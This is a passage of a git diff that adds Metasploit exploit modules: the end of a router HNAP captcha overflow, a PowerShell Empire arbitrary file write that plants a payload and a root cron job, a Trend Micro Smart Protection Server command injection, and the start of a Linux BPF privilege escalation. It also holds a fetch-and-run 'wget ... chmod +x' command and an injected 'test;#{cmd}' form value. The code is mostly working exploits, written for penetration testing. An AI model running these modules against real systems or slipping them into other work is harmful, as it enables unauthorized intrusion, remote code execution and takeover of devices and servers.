<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soap:Body>
|
||||||
|
<Login xmlns="http://purenetworks.com/HNAP1/">
|
||||||
|
<Action>something</Action>
|
||||||
|
<Username>Admin</Username>
|
||||||
|
<LoginPassword></LoginPassword>
|
||||||
|
<Captcha>#{payload}</Captcha>
|
||||||
|
</Login>
|
||||||
|
</soap:Body>
|
||||||
|
</soap:Envelope>
|
||||||
|
}
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/HNAP1/',
|
||||||
|
'method' => 'POST',
|
||||||
|
'ctype' => 'text/xml',
|
||||||
|
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
|
||||||
|
'data' => body
|
||||||
|
})
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Handle incoming requests from the server
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
#print_status("on_request_uri called: #{request.inspect}")
|
||||||
|
if (not @pl)
|
||||||
|
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
print_status("#{peer} - Sending the payload to the device...")
|
||||||
|
@elf_sent = true
|
||||||
|
send_response(cli, @pl)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("#{peer} - Attempting to exploit #{target.name}")
|
||||||
|
if target == targets[0]
|
||||||
|
send_payload(prepare_shellcode_mips)
|
||||||
|
else
|
||||||
|
downfile = rand_text_alpha(8+rand(8))
|
||||||
|
@pl = generate_payload_exe
|
||||||
|
@elf_sent = false
|
||||||
|
resource_uri = '/' + downfile
|
||||||
|
|
||||||
|
#do not use SSL
|
||||||
|
if datastore['SSL']
|
||||||
|
ssl_restore = true
|
||||||
|
datastore['SSL'] = false
|
||||||
|
end
|
||||||
|
|
||||||
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||||
|
srv_host = Rex::Socket.source_address(rhost)
|
||||||
|
else
|
||||||
|
srv_host = datastore['SRVHOST']
|
||||||
|
end
|
||||||
|
|
||||||
|
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||||
|
print_status("#{peer} - Starting up our web service on #{service_url} ...")
|
||||||
|
start_service({'Uri' => {
|
||||||
|
'Proc' => Proc.new { |cli, req|
|
||||||
|
on_request_uri(cli, req)
|
||||||
|
},
|
||||||
|
'Path' => resource_uri
|
||||||
|
}})
|
||||||
|
|
||||||
|
datastore['SSL'] = true if ssl_restore
|
||||||
|
print_status("#{peer} - Asking the device to download and execute #{service_url}")
|
||||||
|
|
||||||
|
filename = rand_text_alpha_lower(rand(8) + 2)
|
||||||
|
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
|
||||||
|
|
||||||
|
shellcode = prepare_shellcode_arm(cmd)
|
||||||
|
|
||||||
|
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
|
||||||
|
counter = 0.00
|
||||||
|
while (not @elf_sent)
|
||||||
|
if counter % 50.00 == 0 && counter != 0.00
|
||||||
|
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||||
|
end
|
||||||
|
send_payload(shellcode)
|
||||||
|
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine
|
||||||
|
counter += 1
|
||||||
|
end
|
||||||
|
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,246 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
TASK_DOWNLOAD = 41
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
|
||||||
|
'Description' => %q{
|
||||||
|
A vulnerability existed in the PowerShellEmpire server prior to commit
|
||||||
|
f030cf62 which would allow an arbitrary file to be written to an
|
||||||
|
attacker controlled location with the permissions of the Empire server.
|
||||||
|
|
||||||
|
This exploit will write the payload to /tmp/ directory followed by a
|
||||||
|
cron.d file to execute the payload.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
|
||||||
|
'Erik Daguerre' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true,
|
||||||
|
},
|
||||||
|
'Platform' => %w{ linux python },
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
|
||||||
|
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
|
||||||
|
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' => { 'WfsDelay' => 75 },
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 15 2016'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
|
||||||
|
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
|
||||||
|
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
|
||||||
|
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
return Exploit::CheckCode::Safe if get_staging_key.nil?
|
||||||
|
|
||||||
|
Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def aes_encrypt(key, data, include_mac=false)
|
||||||
|
cipher = OpenSSL::Cipher::AES256.new(:CBC)
|
||||||
|
cipher.encrypt
|
||||||
|
iv = cipher.random_iv
|
||||||
|
cipher.key = key
|
||||||
|
cipher.iv = iv
|
||||||
|
data = iv + cipher.update(data) + cipher.final
|
||||||
|
|
||||||
|
digest = OpenSSL::Digest.new('sha1')
|
||||||
|
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
|
||||||
|
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_packet(res_id, data, counter=nil)
|
||||||
|
data = Rex::Text::encode_base64(data)
|
||||||
|
counter = Time.new.to_i if counter.nil?
|
||||||
|
|
||||||
|
[ res_id, counter, data.length ].pack('VVV') + data
|
||||||
|
end
|
||||||
|
|
||||||
|
def reversal_key
|
||||||
|
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
|
||||||
|
[
|
||||||
|
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
|
||||||
|
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
|
||||||
|
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
|
||||||
|
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
|
||||||
|
]
|
||||||
|
end
|
||||||
|
|
||||||
|
def rsa_encode_int(value)
|
||||||
|
encoded = []
|
||||||
|
while value > 0 do
|
||||||
|
encoded << (value & 0xff)
|
||||||
|
value >>= 8
|
||||||
|
end
|
||||||
|
|
||||||
|
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
|
||||||
|
end
|
||||||
|
|
||||||
|
def rsa_key_to_xml(rsa_key)
|
||||||
|
rsa_key_xml = "<RSAKeyValue>\n"
|
||||||
|
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
|
||||||
|
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
|
||||||
|
rsa_key_xml << "</RSAKeyValue>"
|
||||||
|
|
||||||
|
rsa_key_xml
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_staging_key
|
||||||
|
# STAGE0_URI resource requested by the initial launcher
|
||||||
|
# The default STAGE0_URI resource is index.asp
|
||||||
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
|
||||||
|
})
|
||||||
|
return unless res and res.code == 200
|
||||||
|
|
||||||
|
staging_key = Array.new(32, nil)
|
||||||
|
staging_data = res.body.bytes
|
||||||
|
|
||||||
|
reversal_key.each_with_index do |(pos, char_code), key_pos|
|
||||||
|
staging_key[key_pos] = staging_data[pos] ^ char_code
|
||||||
|
end
|
||||||
|
|
||||||
|
return if staging_key.include? nil
|
||||||
|
|
||||||
|
# at this point the staging key should have been fully recovered but
|
||||||
|
# we'll verify it by attempting to decrypt the header of the stage
|
||||||
|
decrypted = []
|
||||||
|
staging_data[0..23].each_with_index do |byte, pos|
|
||||||
|
decrypted << (byte ^ staging_key[pos])
|
||||||
|
end
|
||||||
|
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
|
||||||
|
|
||||||
|
staging_key
|
||||||
|
end
|
||||||
|
|
||||||
|
def write_file(path, data, session_id, session_key, server_epoch)
|
||||||
|
# target_url.path default traffic profile for empire agent communication
|
||||||
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
|
||||||
|
data = create_packet(
|
||||||
|
TASK_DOWNLOAD,
|
||||||
|
[
|
||||||
|
'0',
|
||||||
|
session_id + path,
|
||||||
|
Rex::Text::encode_base64(data)
|
||||||
|
].join('|'),
|
||||||
|
server_epoch
|
||||||
|
)
|
||||||
|
|
||||||
|
if datastore['PROFILE'].blank?
|
||||||
|
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
|
||||||
|
else
|
||||||
|
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
|
||||||
|
end
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'cookie' => "SESSIONID=#{session_id}",
|
||||||
|
'data' => aes_encrypt(session_key, data, include_mac=true),
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(profile_uri)
|
||||||
|
})
|
||||||
|
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def cron_file(command)
|
||||||
|
cron_file = 'SHELL=/bin/sh'
|
||||||
|
cron_file << "\n"
|
||||||
|
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
|
||||||
|
cron_file << "\n"
|
||||||
|
cron_file << "* * * * * root #{command}"
|
||||||
|
cron_file << "\n"
|
||||||
|
|
||||||
|
cron_file
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
vprint_status('Recovering the staging key...')
|
||||||
|
staging_key = get_staging_key
|
||||||
|
if staging_key.nil?
|
||||||
|
fail_with(Failure::Unknown, 'Failed to recover the staging key')
|
||||||
|
end
|
||||||
|
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
|
||||||
|
staging_key = staging_key.pack('C*')
|
||||||
|
|
||||||
|
rsa_key = OpenSSL::PKey::RSA.new(2048)
|
||||||
|
session_id = Array.new(50, '..').join('/')
|
||||||
|
# STAGE1_URI, The resource used by the RSA key post
|
||||||
|
# The default STAGE1_URI resource is index.jsp
|
||||||
|
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
|
||||||
|
res = send_request_cgi({
|
||||||
|
'cookie' => "SESSIONID=#{session_id}",
|
||||||
|
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
|
||||||
|
})
|
||||||
|
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
|
||||||
|
vprint_status("Successfully sent the RSA key")
|
||||||
|
|
||||||
|
# decrypt the response and pull out the epoch and session_key
|
||||||
|
body = rsa_key.private_decrypt(res.body)
|
||||||
|
server_epoch = body[0..9].to_i
|
||||||
|
session_key = body[10..-1]
|
||||||
|
print_status('Successfully negotiated an artificial Empire agent')
|
||||||
|
|
||||||
|
payload_data = nil
|
||||||
|
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||||
|
|
||||||
|
case target['Arch']
|
||||||
|
when ARCH_PYTHON
|
||||||
|
cron_command = "python #{payload_path}"
|
||||||
|
payload_data = payload.raw
|
||||||
|
|
||||||
|
when ARCH_X86, ARCH_X64
|
||||||
|
cron_command = "chmod +x #{payload_path} && #{payload_path}"
|
||||||
|
payload_data = payload.encoded_exe
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Writing payload to #{payload_path}")
|
||||||
|
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
|
||||||
|
|
||||||
|
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||||
|
print_status("Writing cron job to #{cron_path}")
|
||||||
|
|
||||||
|
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
|
||||||
|
print_status("Waiting for cron job to run, can take up to 60 seconds")
|
||||||
|
|
||||||
|
register_files_for_cleanup(cron_path)
|
||||||
|
register_files_for_cleanup(payload_path)
|
||||||
|
# Empire writes to a log file location based on the Session ID, so when
|
||||||
|
# exploiting this vulnerability that file ends up in the root directory.
|
||||||
|
register_files_for_cleanup('/agent.log')
|
||||||
|
end
|
||||||
|
end
|
|
@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
headers = res.to_s
|
headers = res.to_s
|
||||||
|
|
||||||
# validate headers
|
# validate headers
|
||||||
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
|
if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
|
||||||
# and make sure that the body contains the title we'd expect
|
# and make sure that the body contains the title we'd expect
|
||||||
if res.body.include?('Login to BlackArmor')
|
if res.body.include?('Login to BlackArmor')
|
||||||
return Exploit::CheckCode::Appears
|
return Exploit::CheckCode::Appears
|
||||||
|
|
|
@ -0,0 +1,208 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'openssl'
|
||||||
|
require 'base64'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
|
||||||
|
Please note: authentication is required to exploit this vulnerability.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE-ID', 'CVE-2016-6267']
|
||||||
|
],
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Targets' => [ [ 'Linux', {} ] ],
|
||||||
|
'Payload' => { 'BadChars' => "\x00" },
|
||||||
|
'CmdStagerFlavor' => [ 'bourne' ],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => true
|
||||||
|
},
|
||||||
|
'DisclosureDate' => "Aug 8 2016",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('SSL', [ true, 'Use SSL', true ]),
|
||||||
|
OptString.new('TARGETURI', [true, 'The base path', '/']),
|
||||||
|
OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
|
||||||
|
OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
|
||||||
|
OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
|
||||||
|
OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def check
|
||||||
|
opts = login
|
||||||
|
if opts
|
||||||
|
uri = target_uri.path
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
|
||||||
|
'headers'=>
|
||||||
|
{
|
||||||
|
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
|
||||||
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
|
||||||
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if res and res.code == 200
|
||||||
|
version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
|
||||||
|
build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
|
||||||
|
print_status("TrendMicro Smart Protection Server detected.")
|
||||||
|
print_status("Version: #{version}")
|
||||||
|
print_status("Build: #{build}")
|
||||||
|
if (version == 3.0 and build < 1330) or
|
||||||
|
(version == 2.6 and build < 2106) or
|
||||||
|
(version == 2.5 and build < 2200)
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
uri = target_uri.path
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'version' => '1.0',
|
||||||
|
'timeout' => 1,
|
||||||
|
'uri' => normalize_uri(uri, 'php/admin_notification.php'),
|
||||||
|
'ctype' => 'application/x-www-form-urlencoded',
|
||||||
|
'headers'=>
|
||||||
|
{
|
||||||
|
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
|
||||||
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
|
||||||
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'EnableSNMP' => 'on',
|
||||||
|
'Community' => 'hello',
|
||||||
|
'submit' => 'Save',
|
||||||
|
'pubkey' => '',
|
||||||
|
'spare_EnableSNMP' => 1,
|
||||||
|
'spare_Community' => "test;#{cmd}",
|
||||||
|
'spare_EnableIPRestriction' => 0,
|
||||||
|
'spare_AllowGroupIP' => '',
|
||||||
|
'spare_AllowGroupNetmask' => '',
|
||||||
|
'sid' => opts["sid"]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
end
|
||||||
|
|
||||||
|
def login
|
||||||
|
uri = target_uri.path
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(uri, 'index.php'),
|
||||||
|
})
|
||||||
|
if res and res.code == 200 and !res.get_cookies.empty?
|
||||||
|
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
|
||||||
|
sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
|
||||||
|
n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
|
||||||
|
nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
|
||||||
|
asn1_sequence = OpenSSL::ASN1::Sequence.new(
|
||||||
|
[
|
||||||
|
OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
|
||||||
|
OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
|
||||||
|
]
|
||||||
|
)
|
||||||
|
public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
|
||||||
|
creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
|
||||||
|
data = Base64.encode64(public_key.public_encrypt(creds))
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(uri, "auth.php"),
|
||||||
|
'ctype' => 'application/x-www-form-urlencoded',
|
||||||
|
'headers'=>
|
||||||
|
{
|
||||||
|
'Cookie' => "#{sid}=#{sid_value}",
|
||||||
|
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
|
||||||
|
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'data' => data,
|
||||||
|
'sid' => sid
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if res and res.code == 302
|
||||||
|
if res.headers.key?('Set-Cookie')
|
||||||
|
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
|
||||||
|
sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
|
||||||
|
end
|
||||||
|
report_cred(
|
||||||
|
ip: datastore['RHOST'],
|
||||||
|
port: datastore['RPORT'],
|
||||||
|
service_name: (ssl ? "https" : "http"),
|
||||||
|
user: datastore['ADMINACCOUNT'],
|
||||||
|
password: datastore['ADMINPASS'],
|
||||||
|
proof: "#{sid}=#{sid_value}"
|
||||||
|
)
|
||||||
|
return {"sid" => sid, "sid_value" => sid_value}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_cred(opts)
|
||||||
|
service_data = {
|
||||||
|
address: opts[:ip],
|
||||||
|
port: opts[:port],
|
||||||
|
service_name: opts[:service_name],
|
||||||
|
protocol: 'tcp',
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data = {
|
||||||
|
origin_type: :service,
|
||||||
|
module_fullname: fullname,
|
||||||
|
username: opts[:user],
|
||||||
|
private_data: opts[:password],
|
||||||
|
private_type: :password
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
login_data = {
|
||||||
|
core: create_credential(credential_data),
|
||||||
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||||
|
proof: opts[:proof]
|
||||||
|
}.merge(service_data)
|
||||||
|
|
||||||
|
create_credential_login(login_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
opts = login
|
||||||
|
if opts
|
||||||
|
print_status("Successfully logged in.")
|
||||||
|
print_status("Exploiting...")
|
||||||
|
execute_cmdstager(opts=opts)
|
||||||
|
else
|
||||||
|
print_error("An error occured while loggin in.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,501 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info, {
|
||||||
|
'Name' => 'Linux BPF Local Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
|
||||||
|
sysctl is not set to 1, BPF can be abused to priv escalate.
|
||||||
|
Ubuntu 16.04 has all of these conditions met.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'jannh@google.com', # discovery
|
||||||
|
'h00die <mike@shorebreaksecurity.com>' # metasploit module
|
||||||
|
],
|
||||||
|
'Platform' => [ 'linux' ],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2016-4557' ],
|
||||||
|
[ 'EDB', '39772' ],
|
||||||
|
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
|
||||||
|
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
|
||||||
|
],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'payload' => 'linux/x64/mettle/reverse_tcp',
|
||||||
|
'PrependFork' => true,
|
||||||
|
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 1,
|
||||||
|
'DisclosureDate' => 'May 04 2016',
|
||||||
|
'Privileged' => true
|
||||||
|
}
|
||||||
|
))
|
||||||
|
register_options([
|
||||||
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||||
|
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||||
|
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
def check_config_bpf_syscall?()
|
||||||
|
output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
|
||||||
|
if output == 'CONFIG_BPF_SYSCALL=y'
|
||||||
|
vprint_good('CONFIG_BPF_SYSCALL is set to yes')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_kernel_disabled?()
|
||||||
|
output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
|
||||||
|
if output != 'kernel.unprivileged_bpf_disabled = 1'
|
||||||
|
vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('kernel.unprivileged_bpf_disabled is set to 1')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_fuse?()
|
||||||
|
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
|
||||||
|
if lib.include?('install')
|
||||||
|
vprint_good('fuse is installed')
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error('fuse is not installed. Exploitation will fail.')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def mount_point_exists?()
|
||||||
|
if directory?('/tmp/fuse_mount')
|
||||||
|
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
vprint_good('/tmp/fuse_mount doesn\'t exist')
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
|
||||||
|
CheckCode::Appears
|
||||||
|
else
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
